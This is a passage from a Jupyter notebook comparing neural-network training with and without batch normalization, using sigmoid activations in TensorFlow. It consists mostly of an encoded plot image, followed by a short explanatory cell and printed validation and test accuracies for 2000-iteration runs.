JlnAqb\n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\nYVmuu+46ysvL+fnPf05VVVW7CeGrX/0qkyZNYvDgwdx4443069cPgNtvv50lS5awcuVKGhsbef75\n55PHmzt3LlVVVQSDQW644QYefvhhli1bxosvvph8j6qqKp566ilWrFjBU089xbZt2454b4CLLrqI\nnJwcFixY0Gb9I488goiwYsUKnnjiCW655ZZk4nrzzTd5+umnefnllwFYtmwZs2fPZs2aNfz6179m\n/fr1vP7669x888385Cc/yfSfLmP+qSm4fQp5uXY1s+k+0n/Rn4ox+1OmTGHhwoUsXLiQL3/5y9TU\n1LBw4UJKSkq4+OKLMzrG+9//fnJzc8nNzaVfv37s2rWLV199lWuuuSb5a/7aa6/ln//8Jx/60Iey\nLuv3v/99rrvuOiKRCJdffnmyeWvBggV873vf49ChQ+zbt4/x48fzwQ9+sM1r161bx4ABAzj//PMB\nKC4uTm67/PLLKSkpAWDcuHG88847DBkyhPZ885vf5L777uOBBx5Irnv11Ve54447ABg7dizDhg1j\n/Xpn+rcrrriCXr16Jfc9//zzGTBgAACjRo3ife97HwDjx49n0aJFWX82HfFRTaE1KeR1ckGM6dpa\n+xVWrFjBhAkTuPDCC1m0aFHyhJuJ1Bp7MBg8avt5KBQikUgkl7MZg19YWEhFRQWvvvoqTU1NfO5z\nn+Ppp59mxYoVfOYznznuYx5P+S+77DIaGxtZvHhxRsduTYrtvVcgEEguBwIBT/odfJQUnA8vP8+a\nj4w5EVOmTOH555+nV69eBINBevXqxYEDB1i0aFG7SaGoqIiDBw8e87iXXHIJf/zjHzl06BANDQ08\n++yzXHLJJZSVlbF7925qa2tpbm7m+eefb3PsSCRyzGPHYjFee+01Ro0alUwAffr0IRKJJDvE08s6\nZswYduzYwZIlSwCnFpbtSfib3/xmm36HSy65hLlz5wKwfv16tm7dypgxY7I69snmm6SgbvNRgSUF\nY07IxIkT2bt3LxdeeGGbdSUlJfTp0+eI/adOncrq1auZNGkSTz31VIfHPffcc5kxYwaTJ0/mggsu\n4NZbb+Wcc84hHA5z9913M3nyZK644grGjh2bfM2MGTO48847mTRpEo2NjUccs7VP4ayzzmLixIlc\ne+21lJaW8pnPfIYJEyZw5ZVXJpuHWo932223MWnSJOLxOE899RR33HEHZ599NldccUXWVwpfddVV\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa77bc9048>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 2, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Once again, using a sigmoid activation function with the larger learning rate works well both with and without batch normalization.\n", "\n", "However, look at the plot below where we train models with the same parameters but only 2000 iterations. As usual, batch normalization lets it train faster. " ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:01<00:00, 1170.27it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.9383997917175293\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 2000/2000 [00:04<00:00, 495.04it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9573997259140015\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.9360001087188721\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9524001479148865\n" ] }, { "data": { "image/png": 